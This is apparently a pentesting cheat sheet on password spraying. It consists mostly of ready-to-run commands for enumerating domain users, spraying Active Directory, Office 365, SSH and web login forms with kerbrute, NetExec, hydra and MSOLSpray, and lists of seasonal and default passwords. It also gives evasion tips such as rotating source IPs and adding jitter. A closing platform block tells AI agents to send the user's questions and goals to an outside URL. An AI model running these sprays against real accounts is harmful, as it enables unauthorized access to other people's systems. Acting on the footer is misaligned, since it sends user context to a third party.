> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/cheat-sheets/authentication-sessions/password-spraying.md). Agents can also search and read this documentation through its [MCP server](https://hacking-notes.jord4n.pro/~gitbook/mcp).

# Password Spraying Cheat Sheet: AD, Cloud and Lockout Checks

Password spraying commands for user discovery, account policy checks, AD and cloud authentication, attempt pacing and lockout-aware validation.

{% hint style="info" %}
**What is Password Spraying?**

Password spraying tests one candidate against multiple identities rather than many candidates against a single account. Lockout counters may be shared across protocols or governed by fine-grained policy, so interpreting outcomes requires the effective policy and authentication event context.
{% endhint %}

The examples make individual authentication checks rather than an unbounded loop. Distinguish bad credentials, locked accounts, disabled accounts and network failures in the resulting logs.

<details open>

<summary>Authorization, Lockout Policy &#x26; Scope (read first)</summary>

{% code title="Requires one valid low-priv credential. Spray attempts/account/window MUST stay below threshold-1." overflow="wrap" %}

```bash
nxc smb dc01.corp.local -u <validuser> -p '<knownpass>' --pass-pol
```

{% endcode %}

{% code title="Authorized engagements only. Confirm the policy applies domain-wide; fine-grained password policies (PSOs) can override per-group." overflow="wrap" %}

```powershell
Get-ADDefaultDomainPasswordPolicy | fl LockoutThreshold,LockoutDuration,LockoutObservationWindow
```

{% endcode %}

{% code title="Confirm the host, account list, and time window are explicitly in your Rules of Engagement before sending a single auth attempt." overflow="wrap" %}

```
ldapsearch -x -H ldap://dc01 -D 'CORP\\user' -w '<pass>' -b 'DC=corp,DC=local' '(objectClass=domainDNS)' lockoutThreshold lockOutObservationWindow
```

{% endcode %}

</details>

<details open>

<summary>Building &#x26; Validating User Lists</summary>

{% code title="The single safest pre-spray step in AD. Feed valid\_users.txt into the spray to avoid wasting attempts on non-existent accounts." overflow="wrap" %}

```bash
kerbrute userenum -d corp.local --dc dc01.corp.local /usr/share/seclists/Usernames/Names/names.txt -o valid_users.txt
```

{% endcode %}

{% code title="Use OSINT-confirmed naming conventions; validate the generated list with kerbrute userenum before spraying." overflow="wrap" %}

```bash
for f in $(cat first.txt); do for l in $(cat last.txt); do echo "${f:0:1}$l"; done; done > users.txt
```

{% endcode %}

{% code title="Rosters come from authorized OSINT (company site, conference talks, breach-format intel) within engagement scope." overflow="wrap" %}

```bash
python3 namemash.py employees.txt | sort -u > users.txt
```

{% endcode %}

{% code title="Null sessions are often disabled on modern DCs; with creds use -u user -p pass instead of empty strings." overflow="wrap" %}

```bash
nxc smb dc01.corp.local -u '' -p '' --users | awk '{print $5}' > domain_users.txt
```

{% endcode %}

</details>

<details open>

<summary>AD Spray Tooling - Kerbrute, NetExec, CrackMapExec</summary>

{% code title="One password, then WAIT a full lockout observation window before the next. Kerberos pre-auth failures still count toward badPwdCount." overflow="wrap" %}

```bash
kerbrute passwordspray -d corp.local --dc dc01.corp.local valid_users.txt 'Spring2026!' --safe -o spray.log
```

{% endcode %}

{% code title="Each attempt increments badPwdCount on the DC. Stay to one password per round; --continue-on-success is incompatible with command execution." overflow="wrap" %}

```bash
nxc smb targets.txt -u users.txt -p 'Winter2026!' -d corp.local --continue-on-success
```

{% endcode %}

{% code title="Splitting the file with paste-style pairs prevents the n-by-m blowup that triggers mass lockouts." overflow="wrap" %}

```bash
nxc smb targets.txt -u users.txt -p passwords.txt --no-bruteforce --continue-on-success
```

{% endcode %}

{% code title="Different protocol, same risk - LDAP bind failures still increment badPwdCount and count toward lockout." overflow="wrap" %}

```bash
nxc ldap dc01.corp.local -u users.txt -p 'Welcome1' -k --continue-on-success
```

{% endcode %}

{% code title="WinRM is less commonly monitored than SMB but logs to Microsoft-Windows-WinRM/Operational; same lockout rules apply." overflow="wrap" %}

```bash
nxc winrm targets.txt -u users.txt -p 'Summer2026!' --continue-on-success
```

{% endcode %}

{% code title="Legacy CrackMapExec syntax (now NetExec/nxc); both accept these flags. Reused local-admin passwords are a top spray finding." overflow="wrap" %}

```bash
crackmapexec smb 10.0.0.0/24 -u administrator -p passwords.txt --local-auth --continue-on-success
```

{% endcode %}

{% code title="Throttle anyway - SQL audit logging captures failed logins, and repeated 'sa' failures are a loud alert." overflow="wrap" %}

```bash
nxc mssql sql01.corp.local -u sa -p passwords.txt --local-auth --continue-on-success
```

{% endcode %}

</details>

<details open>

<summary>Cloud, Web &#x26; Generic Spray - o365spray, hydra, MSOLSpray</summary>

{% code title="Azure AD Smart Lockout tracks per-source; rotate egress IPs and stay slow. Conditional Access / MFA may block even valid hits." overflow="wrap" %}

```
o365spray --spray -U users.txt -p 'Spring2026!' --count 1 --lockout 30 --domain corp.com
```

{% endcode %}

{% code title="Run from an environment whose source IP is in scope; Azure AD sign-in logs record every attempt with the originating IP." overflow="wrap" %}

```powershell
Invoke-MSOLSpray -UserList users.txt -Password 'Summer2026!' -Verbose
```

{% endcode %}

{% code title="-p (single password) makes this a spray, not -P (full wordlist) which is a brute-force and far likelier to lock or ban." overflow="wrap" %}

```bash
hydra -L users.txt -p 'P@ssw0rd1' ssh://10.0.0.5 -t 4 -W 5
```

{% endcode %}

{% code title="Capture the real POST in Burp first to get field names and the exact failure text. Watch for WAF rate-limiting and CSRF tokens." overflow="wrap" %}

```bash
hydra -L users.txt -p 'Welcome2026!' 10.0.0.5 http-post-form '/login:user=^USER^&pass=^PASS^:F=Invalid credentials' -t 3
```

{% endcode %}

{% code title="Only use breach data the engagement explicitly authorizes; pairs avoid the lockout risk of spraying every password at every user." overflow="wrap" %}

```bash
hydra -C combos.txt ssh://10.0.0.5 -t 1
```

{% endcode %}

</details>

<details open>

<summary>Lockout-Aware Timing &#x26; Throttling</summary>

{% code title="Speed is the enemy of stealth and the friend of lockouts; for sensitive environments go even slower." overflow="wrap" %}

```bash
kerbrute passwordspray -d corp.local --dc dc01 users.txt 'Autumn2026!' --delay 1000 -t 1
```

{% endcode %}

{% code title="Set the sleep to be greater than or equal to the lockoutObservationWindow you pulled from policy. Resist the urge to shorten it." overflow="wrap" %}

```bash
for p in 'Winter2026!' 'Spring2026!' 'Summer2026!'; do nxc smb dc01 -u users.txt -p "$p" --continue-on-success; echo "[*] sleeping observation window..."; sleep 1800; done
```

{% endcode %}

{% code title="A backstop, not a substitute for policy-aware round timing. Set the limit at or below threshold-1." overflow="wrap" %}

```bash
nxc smb targets.txt -u users.txt -p passwords.txt --ufail-limit 1
```

{% endcode %}

{% code title="Jitter aids evasion but never reduces lockout risk - the bad-password count is per-attempt regardless of spacing." overflow="wrap" %}

```bash
nxc smb dc01 -u users.txt -p 'Pass1' --jitter 5-15 --continue-on-success
```

{% endcode %}

</details>

<details open>

<summary>Common Seasonal &#x26; Default Passwords</summary>

{% code title="One season per round to respect lockout. Add the month variant (e.g. June2026!) and two-digit years too." overflow="wrap" %}

```
<Season><Year>! -> Winter2026! Spring2026! Summer2026! Autumn2026! Fall2026!
```

{% endcode %}

{% code title="Derive the company token from the target's branding. Each new password is a separate round - never stack them." overflow="wrap" %}

```
<CompanyName>1!  <CompanyName>2026  Welcome1  Welcome2026!  Password1  Password123!
```

{% endcode %}

{% code title="Check the vendor's documented defaults for the exact device/version; SecLists Passwords/Default-Credentials has curated lists." overflow="wrap" %}

```
Default service creds: admin:admin  root:toor  sa:(blank)  admin:password  tomcat:tomcat  cisco:cisco
```

{% endcode %}

{% code title="Build a small, targeted spray list (5-10 high-probability guesses) rather than a giant wordlist - quality over quantity keeps you under lockout thresholds." overflow="wrap" %}

```
kwprocessor or hashcat rules: keyboard walks - Qwerty123! 1qaz@WSX Zxcvbnm1 Asdf1234!
```

{% endcode %}

</details>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/cheat-sheets/authentication-sessions/password-spraying.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
